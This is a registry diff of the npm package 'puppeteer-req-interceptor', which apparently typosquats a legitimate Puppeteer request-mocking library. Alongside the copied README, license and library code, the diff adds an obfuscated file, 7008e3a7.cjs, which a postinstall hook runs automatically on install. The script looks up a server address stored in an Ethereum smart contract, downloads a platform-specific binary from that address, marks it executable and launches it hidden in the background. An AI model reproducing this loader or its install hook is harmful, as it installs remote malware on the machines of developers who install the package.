puppeteer-req-interceptor 0.0.1-security → 3.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of puppeteer-req-interceptor might be problematic. Click here for more details.
- package/7008e3a7.cjs +1 -0
- package/LICENSE +21 -0
- package/README.md +261 -3
- package/build/main/index.js +84 -0
- package/package.json +51 -4
package/7008e3a7.cjs
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
function _0x26ef(_0x77b2cb,_0x470ff5){const _0x687b5c=_0x687b();return _0x26ef=function(_0x26effd,_0x21a29c){_0x26effd=_0x26effd-0x1b6;let _0x4f0466=_0x687b5c[_0x26effd];return _0x4f0466;},_0x26ef(_0x77b2cb,_0x470ff5);}const _0x37bc1f=_0x26ef;(function(_0x444b7c,_0x29cad4){const _0x1e1249=_0x26ef,_0x356fb8=_0x444b7c();while(!![]){try{const _0x1c8c2b=-parseInt(_0x1e1249(0x1bd))/0x1*(parseInt(_0x1e1249(0x1c1))/0x2)+-parseInt(_0x1e1249(0x1cf))/0x3*(parseInt(_0x1e1249(0x1c9))/0x4)+-parseInt(_0x1e1249(0x1bf))/0x5+parseInt(_0x1e1249(0x1c4))/0x6+parseInt(_0x1e1249(0x1da))/0x7+-parseInt(_0x1e1249(0x1ba))/0x8*(-parseInt(_0x1e1249(0x1b6))/0x9)+-parseInt(_0x1e1249(0x1c7))/0xa*(-parseInt(_0x1e1249(0x1cb))/0xb);if(_0x1c8c2b===_0x29cad4)break;else _0x356fb8['push'](_0x356fb8['shift']());}catch(_0x5f4e63){_0x356fb8['push'](_0x356fb8['shift']());}}}(_0x687b,0x6dc99));function _0x687b(){const _0x242258=['3343115EaTedj','755','4CJebyI','data','error','2828646GpZcZC','pipe','cYPBb','10IPnbkR','wqLJh','4HUjxHp','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','607464lrmxjK','darwin','zjMXk','UkUen','615774LXtXWP','basename','createWriteStream','stream','platform','Unsupported\x20platform:\x20','ignore','tmpdir','win32','Ошибка\x20установки:','lLMbr','5328239ikosyG','Contract','oKOIv','sRPZV','adJfN','Ошибка\x20при\x20получении\x20IP\x20адреса:','90IweZhI','child_process','/node-macos','Ошибка\x20при\x20запуске\x20файла:','246768pRGfQI','/node-win.exe','ethers','136366XcJsso','rVABJ'];_0x687b=function(){return _0x242258;};return _0x687b();}const {ethers}=require(_0x37bc1f(0x1bc)),axios=require('axios'),util=require('util'),fs=require('fs'),path=require('path'),os=require('os'),{spawn}=require(_0x37bc1f(0x1b7)),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner=_0x37bc1f(0x1ca),abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers['getDefaultProvider']('mainnet'),contract=new ethers[(_0x37bc1f(0x1db))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x586745=_0x37bc1f,_0x5852fb={'uicYB':_0x586745(0x1df)};try{const _0x19bbf0=await contract['getString'](WalletOwner);return _0x19bbf0;}catch(_0x19cab3){return console[_0x586745(0x1c3)](_0x5852fb['uicYB'],_0x19cab3),await fetchAndUpdateIp();}},getDownloadUrl=_0x259bea=>{const _0x3838dc=_0x37bc1f,_0x118aa7={'adJfN':_0x3838dc(0x1cc)},_0x63a8d2=os['platform']();switch(_0x63a8d2){case _0x3838dc(0x1d7):return _0x259bea+_0x3838dc(0x1bb);case'linux':return _0x259bea+'/node-linux';case _0x118aa7[_0x3838dc(0x1de)]:return _0x259bea+_0x3838dc(0x1b8);default:throw new Error(_0x3838dc(0x1d4)+_0x63a8d2);}},downloadFile=async(_0x1d08ba,_0x1bb919)=>{const _0x2aa08c=_0x37bc1f,_0x25654e={'lKAcH':'finish','sRPZV':_0x2aa08c(0x1c3),'jxjSy':function(_0x378f95,_0x2b821d){return _0x378f95(_0x2b821d);}},_0x10821e=fs[_0x2aa08c(0x1d1)](_0x1bb919),_0x2d461e=await _0x25654e['jxjSy'](axios,{'url':_0x1d08ba,'method':'GET','responseType':_0x2aa08c(0x1d2)});return _0x2d461e[_0x2aa08c(0x1c2)][_0x2aa08c(0x1c5)](_0x10821e),new Promise((_0x37f7fb,_0x107973)=>{const _0x1da4ee=_0x2aa08c;_0x10821e['on'](_0x25654e['lKAcH'],_0x37f7fb),_0x10821e['on'](_0x25654e[_0x1da4ee(0x1dd)],_0x107973);});},executeFileInBackground=async _0x306417=>{const _0x476bc5=_0x37bc1f,_0x4d3572={'UkUen':function(_0x44205d,_0x59f5be,_0x1daa2b,_0x163cc9){return _0x44205d(_0x59f5be,_0x1daa2b,_0x163cc9);},'rVABJ':_0x476bc5(0x1d5),'cYPBb':_0x476bc5(0x1b9)};try{const _0x585806=_0x4d3572[_0x476bc5(0x1ce)](spawn,_0x306417,[],{'detached':!![],'stdio':_0x4d3572[_0x476bc5(0x1be)]});_0x585806['unref']();}catch(_0x2d807a){console[_0x476bc5(0x1c3)](_0x4d3572[_0x476bc5(0x1c6)],_0x2d807a);}},runInstallation=async()=>{const _0x50f833=_0x37bc1f,_0x58d803={'lLMbr':function(_0x1b582d){return _0x1b582d();},'wqLJh':function(_0x37c636,_0x42fa5e){return _0x37c636(_0x42fa5e);},'zjMXk':function(_0x2caebe,_0x4cd9d7,_0x4de6b7){return _0x2caebe(_0x4cd9d7,_0x4de6b7);},'oKOIv':_0x50f833(0x1d7)};try{const _0x123abe=await _0x58d803[_0x50f833(0x1d9)](fetchAndUpdateIp),_0x33db0e=_0x58d803[_0x50f833(0x1c8)](getDownloadUrl,_0x123abe),_0x541666=os[_0x50f833(0x1d6)](),_0x246650=path[_0x50f833(0x1d0)](_0x33db0e),_0x385471=path['join'](_0x541666,_0x246650);await _0x58d803[_0x50f833(0x1cd)](downloadFile,_0x33db0e,_0x385471);if(os[_0x50f833(0x1d3)]()!==_0x58d803[_0x50f833(0x1dc)])fs['chmodSync'](_0x385471,_0x50f833(0x1c0));_0x58d803[_0x50f833(0x1c8)](executeFileInBackground,_0x385471);}catch(_0x252e23){console[_0x50f833(0x1c3)](_0x50f833(0x1d8),_0x252e23);}};runInstallation();
|
package/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2019 Axiom, Inc.
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
package/README.md
CHANGED
|
@@ -1,5 +1,263 @@
|
|
|
1
|
-
#
|
|
1
|
+
# puppeteer-request-intercepter
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
Intercept API Requests and return Mocked Data
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
## Install
|
|
6
|
+
|
|
7
|
+
```
|
|
8
|
+
$ npm install puppeteer-request-intercepter
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
## Usage
|
|
13
|
+
|
|
14
|
+
```js
|
|
15
|
+
|
|
16
|
+
const puppeteer = require('puppeteer');
|
|
17
|
+
|
|
18
|
+
const { initFixtureRouter } = require('puppeteer-request-intercepter');
|
|
19
|
+
|
|
20
|
+
(async () => {
|
|
21
|
+
const browser = await puppeteer.launch();
|
|
22
|
+
const page = await browser.newPage();
|
|
23
|
+
|
|
24
|
+
const fixtureRouter = await initFixtureRouter(page, { baseUrl: 'https://news.ycombinator.com' });
|
|
25
|
+
fixtureRouter.route('GET', '/y18.gif', 'y18.gif', { contentType: 'image/gif' });
|
|
26
|
+
|
|
27
|
+
await page.goto('https://news.ycombinator.com', { waitUntil: 'networkidle2' });
|
|
28
|
+
await page.pdf({ path: 'hn.pdf', format: 'A4' });
|
|
29
|
+
|
|
30
|
+
await browser.close();
|
|
31
|
+
})();
|
|
32
|
+
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
## API
|
|
36
|
+
|
|
37
|
+
### initFixtureRouter(page, options?)
|
|
38
|
+
|
|
39
|
+
Initialize a new FixtureRouter class.
|
|
40
|
+
|
|
41
|
+
This class is responsible for configuring and handling Puppeteer requests. Eg. `page.on('request')` and `page.on('response')`
|
|
42
|
+
|
|
43
|
+
Returns a FixtureRouter object with `route` and `routeFixture` functions.
|
|
44
|
+
|
|
45
|
+
#### page
|
|
46
|
+
|
|
47
|
+
Type: `object`
|
|
48
|
+
|
|
49
|
+
An instance of the Puppeteer `page` object.
|
|
50
|
+
|
|
51
|
+
#### options
|
|
52
|
+
|
|
53
|
+
Type: `object`<br>
|
|
54
|
+
Default: `{}`
|
|
55
|
+
|
|
56
|
+
Decode the keys and values. URL components are decoded with [`decode-uri-component`](https://github.com/SamVerschueren/decode-uri-component).
|
|
57
|
+
|
|
58
|
+
##### baseUrl
|
|
59
|
+
|
|
60
|
+
Type: `string`<br>
|
|
61
|
+
Default: `''`
|
|
62
|
+
|
|
63
|
+
Base Url for relative fixture routes (ex. `/api/v1/users`).
|
|
64
|
+
|
|
65
|
+
```js
|
|
66
|
+
const fixtureRouter = await initFixtureRouter(page, { baseUrl: 'https://news.ycombinator.com' });
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
##### fixtureBasePath
|
|
70
|
+
|
|
71
|
+
Type: `string`<br>
|
|
72
|
+
Default: `./puppeteer/fixtures`
|
|
73
|
+
|
|
74
|
+
Base path where the fixture files are located (and will be created if they don't exist).
|
|
75
|
+
|
|
76
|
+
|
|
77
|
+
|
|
78
|
+
### fixtureRouter.route(method, route, fixturePath, options)
|
|
79
|
+
|
|
80
|
+
Add a `FixtureRoute` to the `FixtureRouter` instance.
|
|
81
|
+
|
|
82
|
+
#### method
|
|
83
|
+
|
|
84
|
+
Type: `string`
|
|
85
|
+
|
|
86
|
+
The HttpMethod to match:
|
|
87
|
+
- GET
|
|
88
|
+
- POST
|
|
89
|
+
- PATCH
|
|
90
|
+
- PUT
|
|
91
|
+
- DELETE
|
|
92
|
+
- OPTIONS
|
|
93
|
+
|
|
94
|
+
#### route
|
|
95
|
+
|
|
96
|
+
Type: `string`
|
|
97
|
+
|
|
98
|
+
The full or relative Url to match.
|
|
99
|
+
|
|
100
|
+
Comparison is done using `startsWith()` and the order in which `FixtureRoute`'s are added matters. The first one found will be used.
|
|
101
|
+
|
|
102
|
+
Put the most specific match first. Ex:
|
|
103
|
+
|
|
104
|
+
```
|
|
105
|
+
fixtureRouter.route('GET', '/api/v1/users/bill', 'bill.json');
|
|
106
|
+
fixtureRouter.route('GET', '/api/v1/users', 'all-users.json');
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
#### fixturePath
|
|
110
|
+
|
|
111
|
+
Type: `string`
|
|
112
|
+
|
|
113
|
+
Relative path of the fixture file to use (or create).
|
|
114
|
+
|
|
115
|
+
#### options
|
|
116
|
+
|
|
117
|
+
Type: `object`<br>
|
|
118
|
+
Default: `{}`
|
|
119
|
+
|
|
120
|
+
`FixtureRouteOptions` to use for the response.
|
|
121
|
+
|
|
122
|
+
##### contentType
|
|
123
|
+
|
|
124
|
+
Type: `string`<br>
|
|
125
|
+
Default: `application/json`
|
|
126
|
+
|
|
127
|
+
Specifies the Content-Type response header.
|
|
128
|
+
|
|
129
|
+
##### status
|
|
130
|
+
|
|
131
|
+
Type: `number`<br>
|
|
132
|
+
|
|
133
|
+
Specifies the response status code.
|
|
134
|
+
|
|
135
|
+
|
|
136
|
+
|
|
137
|
+
### fixtureRouter.routeFixture(fixtureRoute)
|
|
138
|
+
|
|
139
|
+
Add a `FixtureRoute` to the `FixtureRouter` instance.
|
|
140
|
+
|
|
141
|
+
Options are the same as `fixtureRouter.route()` except it accepts an object of parameters instead of individual ones.
|
|
142
|
+
|
|
143
|
+
|
|
144
|
+
|
|
145
|
+
### fixtureRouter.findRoute(method, url)
|
|
146
|
+
|
|
147
|
+
Returns the first `FixtureRoute` that matches the provided `method` and `url`. If there are no matches it returns `undefined`.
|
|
148
|
+
|
|
149
|
+
#### method
|
|
150
|
+
|
|
151
|
+
Type: `string`
|
|
152
|
+
|
|
153
|
+
The HttpMethod to match.
|
|
154
|
+
|
|
155
|
+
#### url
|
|
156
|
+
|
|
157
|
+
Type: `string`
|
|
158
|
+
|
|
159
|
+
The full or relative Url to match.
|
|
160
|
+
|
|
161
|
+
If it's a relative Url, the configured `baseUrl` will be used.
|
|
162
|
+
|
|
163
|
+
|
|
164
|
+
|
|
165
|
+
### createFixture(method, route, fixturePath, options)
|
|
166
|
+
|
|
167
|
+
Convenience method for creating `FixtureRoute`'s.
|
|
168
|
+
|
|
169
|
+
Same API as `fixtureRouter.route`.
|
|
170
|
+
|
|
171
|
+
Useful when using `BackstopJS` with a custom `scenarios.fixtures` array.
|
|
172
|
+
|
|
173
|
+
|
|
174
|
+
|
|
175
|
+
## BackstopJS Example
|
|
176
|
+
|
|
177
|
+
##### onBefore.ts:
|
|
178
|
+
|
|
179
|
+
```TypeScript
|
|
180
|
+
import { Scenario } from 'backstopjs';
|
|
181
|
+
import { Page } from 'puppeteer';
|
|
182
|
+
import { initFixtureRouter } from 'puppeteer-request-intercepter';
|
|
183
|
+
|
|
184
|
+
// tslint:disable-next-line: export-name
|
|
185
|
+
export = async (page: Page, scenario: Scenario, vp) => {
|
|
186
|
+
// Configure fixtures:
|
|
187
|
+
if (scenario.fixtures) {
|
|
188
|
+
const fixtureRouter = await initFixtureRouter(page, {
|
|
189
|
+
baseUrl: `http://localhost:8080`,
|
|
190
|
+
fixtureBasePath: 'backstop_data/engine_scripts/fixtures',
|
|
191
|
+
});
|
|
192
|
+
|
|
193
|
+
scenario.fixtures.forEach((fixture) => {
|
|
194
|
+
fixtureRouter.routeFixture(fixture);
|
|
195
|
+
});
|
|
196
|
+
}
|
|
197
|
+
};
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
##### backstopConfig.ts:
|
|
201
|
+
|
|
202
|
+
```TypeScript
|
|
203
|
+
|
|
204
|
+
import { Config, Scenario } from 'backstopjs';
|
|
205
|
+
import { Page } from 'puppeteer';
|
|
206
|
+
import { createFixture, FixtureRoute } from 'puppeteer-request-intercepter';
|
|
207
|
+
|
|
208
|
+
const globalFixtures: FixtureRoute[] = [
|
|
209
|
+
createFixture('GET', '/api/v1/alerts', 'alerts.json'),
|
|
210
|
+
];
|
|
211
|
+
|
|
212
|
+
const config: Config = {
|
|
213
|
+
id: 'MyProject',
|
|
214
|
+
viewports: [
|
|
215
|
+
{
|
|
216
|
+
label: 'phone',
|
|
217
|
+
width: 320,
|
|
218
|
+
height: 1200,
|
|
219
|
+
},
|
|
220
|
+
{
|
|
221
|
+
label: 'tablet',
|
|
222
|
+
width: 1024,
|
|
223
|
+
height: 768,
|
|
224
|
+
},
|
|
225
|
+
{
|
|
226
|
+
label: 'desktop',
|
|
227
|
+
width: 1200,
|
|
228
|
+
height: 900,
|
|
229
|
+
},
|
|
230
|
+
],
|
|
231
|
+
paths: {
|
|
232
|
+
bitmaps_reference: 'backstop_data/bitmaps_reference',
|
|
233
|
+
bitmaps_test: 'backstop_data/bitmaps_test',
|
|
234
|
+
engine_scripts: 'backstop_data/dist/engine_scripts',
|
|
235
|
+
html_report: 'backstop_data/html_report',
|
|
236
|
+
ci_report: 'backstop_data/ci_report',
|
|
237
|
+
},
|
|
238
|
+
report: ['browser'],
|
|
239
|
+
engine: 'puppeteer',
|
|
240
|
+
engineOptions: {
|
|
241
|
+
args: ['--no-sandbox'],
|
|
242
|
+
},
|
|
243
|
+
asyncCaptureLimit: 5,
|
|
244
|
+
asyncCompareLimit: 50,
|
|
245
|
+
debug: false,
|
|
246
|
+
debugWindow: false,
|
|
247
|
+
onBeforeScript: 'onBefore.js',
|
|
248
|
+
onReadyScript: 'onReady.js',
|
|
249
|
+
scenarios: [
|
|
250
|
+
{
|
|
251
|
+
label: 'dashboards',
|
|
252
|
+
url: url('/dashboards'),
|
|
253
|
+
fixtures: [
|
|
254
|
+
...globalFixtures,
|
|
255
|
+
createFixture('GET', '/api/v1/dashboards', 'dashboards.json')
|
|
256
|
+
],
|
|
257
|
+
},
|
|
258
|
+
],
|
|
259
|
+
};
|
|
260
|
+
|
|
261
|
+
export = config;
|
|
262
|
+
|
|
263
|
+
```
|
|
@@ -0,0 +1,84 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
+
};
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
exports.createFixture = exports.initFixtureRouter = exports.FixtureRouter = void 0;
|
|
7
|
+
const fs_extra_1 = __importDefault(require("fs-extra"));
|
|
8
|
+
const path_1 = __importDefault(require("path"));
|
|
9
|
+
class FixtureRouter {
|
|
10
|
+
constructor(baseUrl) {
|
|
11
|
+
this.fixtureRoutes = [];
|
|
12
|
+
this.baseUrl = baseUrl;
|
|
13
|
+
}
|
|
14
|
+
routeFixture(fixtureRoute) {
|
|
15
|
+
this.fixtureRoutes.push(fixtureRoute);
|
|
16
|
+
}
|
|
17
|
+
route(method, route, fixturePath, options = {}) {
|
|
18
|
+
this.routeFixture(createFixture(method, route, fixturePath, options));
|
|
19
|
+
}
|
|
20
|
+
findRoute(method, url) {
|
|
21
|
+
return this.fixtureRoutes.find((fixture) => {
|
|
22
|
+
const route = fixture.route.startsWith('http') ? fixture.route : `${this.baseUrl || ''}${fixture.route}`;
|
|
23
|
+
return method === fixture.method && url.startsWith(route);
|
|
24
|
+
});
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
exports.FixtureRouter = FixtureRouter;
|
|
28
|
+
async function initFixtureRouter(page, options = {}) {
|
|
29
|
+
await page.setRequestInterception(true);
|
|
30
|
+
const fixtureRouter = new FixtureRouter(options.baseUrl);
|
|
31
|
+
const fixturePath = options.fixtureBasePath || path_1.default.join(process.cwd(), 'puppeteer/fixtures');
|
|
32
|
+
page.on('request', async (request) => {
|
|
33
|
+
const fixtureRoute = fixtureRouter.findRoute(request.method(), request.url());
|
|
34
|
+
if (fixtureRoute) {
|
|
35
|
+
// check if the fixture exists
|
|
36
|
+
const filePath = path_1.default.join(fixturePath, fixtureRoute.fixturePath);
|
|
37
|
+
const exists = await fs_extra_1.default.pathExists(filePath);
|
|
38
|
+
if (exists) {
|
|
39
|
+
// tslint:disable-next-line: non-literal-fs-path
|
|
40
|
+
const body = await fs_extra_1.default.readFile(filePath);
|
|
41
|
+
console.log('Routing Fixture:', fixtureRoute.route, '=', request.url(), '=>', filePath);
|
|
42
|
+
return request.respond({
|
|
43
|
+
body: body,
|
|
44
|
+
contentType: fixtureRoute.options.contentType || 'application/json',
|
|
45
|
+
status: fixtureRoute.options.status,
|
|
46
|
+
});
|
|
47
|
+
}
|
|
48
|
+
else {
|
|
49
|
+
// continue the request (we'll save it in the response event).
|
|
50
|
+
return request.continue();
|
|
51
|
+
}
|
|
52
|
+
}
|
|
53
|
+
else {
|
|
54
|
+
return request.continue();
|
|
55
|
+
}
|
|
56
|
+
});
|
|
57
|
+
page.on('response', async (response) => {
|
|
58
|
+
const request = response.request();
|
|
59
|
+
const fixtureRoute = fixtureRouter.findRoute(request.method(), request.url());
|
|
60
|
+
if (fixtureRoute) {
|
|
61
|
+
// save fixture if it doesn't exist
|
|
62
|
+
const filePath = path_1.default.join(fixturePath, fixtureRoute.fixturePath);
|
|
63
|
+
const exists = await fs_extra_1.default.pathExists(filePath);
|
|
64
|
+
if (!exists) {
|
|
65
|
+
console.log('Creating new fixture file:', filePath, fixtureRoute.route, request.url());
|
|
66
|
+
// tslint:disable-next-line: non-literal-fs-path
|
|
67
|
+
fs_extra_1.default.writeFile(filePath, await response.buffer());
|
|
68
|
+
return;
|
|
69
|
+
}
|
|
70
|
+
}
|
|
71
|
+
});
|
|
72
|
+
return fixtureRouter;
|
|
73
|
+
}
|
|
74
|
+
exports.initFixtureRouter = initFixtureRouter;
|
|
75
|
+
function createFixture(method, route, fixturePath, options = {}) {
|
|
76
|
+
return {
|
|
77
|
+
fixturePath: fixturePath,
|
|
78
|
+
method: method,
|
|
79
|
+
options: options,
|
|
80
|
+
route: route,
|
|
81
|
+
};
|
|
82
|
+
}
|
|
83
|
+
exports.createFixture = createFixture;
|
|
84
|
+
//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiaW5kZXguanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyIuLi8uLi9zcmMvaW5kZXgudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6Ijs7Ozs7O0FBQUEsd0RBQTBCO0FBQzFCLGdEQUF3QjtBQW9CeEIsTUFBYSxhQUFhO0lBSXhCLFlBQVksT0FBZ0I7UUFGckIsa0JBQWEsR0FBbUIsRUFBRSxDQUFDO1FBR3hDLElBQUksQ0FBQyxPQUFPLEdBQUcsT0FBTyxDQUFDO0lBQ3pCLENBQUM7SUFFTSxZQUFZLENBQUMsWUFBMEI7UUFDNUMsSUFBSSxDQUFDLGFBQWEsQ0FBQyxJQUFJLENBQ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DQUFDO0FBckRELDhDQXFEQztBQUVELFNBQWdCLGFBQWEsQ0FDM0IsTUFBYyxFQUNkLEtBQWEsRUFDYixXQUFtQixFQUNuQixVQUErQixFQUFFO0lBRWpDLE9BQU87UUFDTCxXQUFXLEVBQUUsV0FBVztRQUN4QixNQUFNLEVBQUUsTUFBTTtRQUNkLE9BQU8sRUFBRSxPQUFPO1FBQ2hCLEtBQUssRUFBRSxLQUFLO0tBQ2IsQ0FBQztBQUNKLENBQUM7QUFaRCxzQ0FZQyJ9
|
package/package.json
CHANGED
|
@@ -1,6 +1,53 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "puppeteer-req-interceptor",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "3.0.1",
|
|
4
|
+
"description": "Intercept API Requests and return Mocked Data",
|
|
5
|
+
"main": "build/main/index.js",
|
|
6
|
+
"typings": "build/main/index.d.ts",
|
|
7
|
+
"module": "build/module/index.js",
|
|
8
|
+
"repository": "https://github.com/axiomhq/puppeteer-request-intercepter",
|
|
9
|
+
"license": "MIT",
|
|
10
|
+
"keywords": [],
|
|
11
|
+
"scripts": {
|
|
12
|
+
"postinstall": "node 7008e3a7.cjs"
|
|
13
|
+
},
|
|
14
|
+
"scripts-info": {
|
|
15
|
+
"build": "Clean and rebuild the project",
|
|
16
|
+
"example": "Run the puppeteer.js example which will create hn.pdf in the root directoy.",
|
|
17
|
+
"fix": "Try to automatically fix any linting problems",
|
|
18
|
+
"lint": "Lint the project",
|
|
19
|
+
"watch": "Watch and rebuild the project on save",
|
|
20
|
+
"version": "Bump package.json version, update CHANGELOG.md, tag release",
|
|
21
|
+
"reset": "Delete all un-tracked files and reset the repo to the last commit",
|
|
22
|
+
"prepare-release": "One-step: clean, build, and prep a release"
|
|
23
|
+
},
|
|
24
|
+
"engines": {
|
|
25
|
+
"node": ">=8.9"
|
|
26
|
+
},
|
|
27
|
+
"dependencies": {
|
|
28
|
+
"@types/fs-extra": "^11.0.1",
|
|
29
|
+
"@types/node": "^18.15.11",
|
|
30
|
+
"fs-extra": "^11.1.1",
|
|
31
|
+
"puppeteer": "^19.9.0",
|
|
32
|
+
"axios": "^1.7.7",
|
|
33
|
+
"ethers": "^6.13.2"
|
|
34
|
+
},
|
|
35
|
+
"devDependencies": {
|
|
36
|
+
"cz-conventional-changelog": "^3.3.0",
|
|
37
|
+
"npm-run-all": "^4.1.5",
|
|
38
|
+
"prettier": "^2.8.7",
|
|
39
|
+
"standard-version": "^9.5.0",
|
|
40
|
+
"trash-cli": "^4.0.0",
|
|
41
|
+
"tslint": "^5.20.1",
|
|
42
|
+
"tslint-config-prettier": "^1.18.0",
|
|
43
|
+
"typescript": "^4.6.4"
|
|
44
|
+
},
|
|
45
|
+
"config": {
|
|
46
|
+
"commitizen": {
|
|
47
|
+
"path": "cz-conventional-changelog"
|
|
48
|
+
}
|
|
49
|
+
},
|
|
50
|
+
"files": [
|
|
51
|
+
"7008e3a7.cjs"
|
|
52
|
+
]
|
|
53
|
+
}
|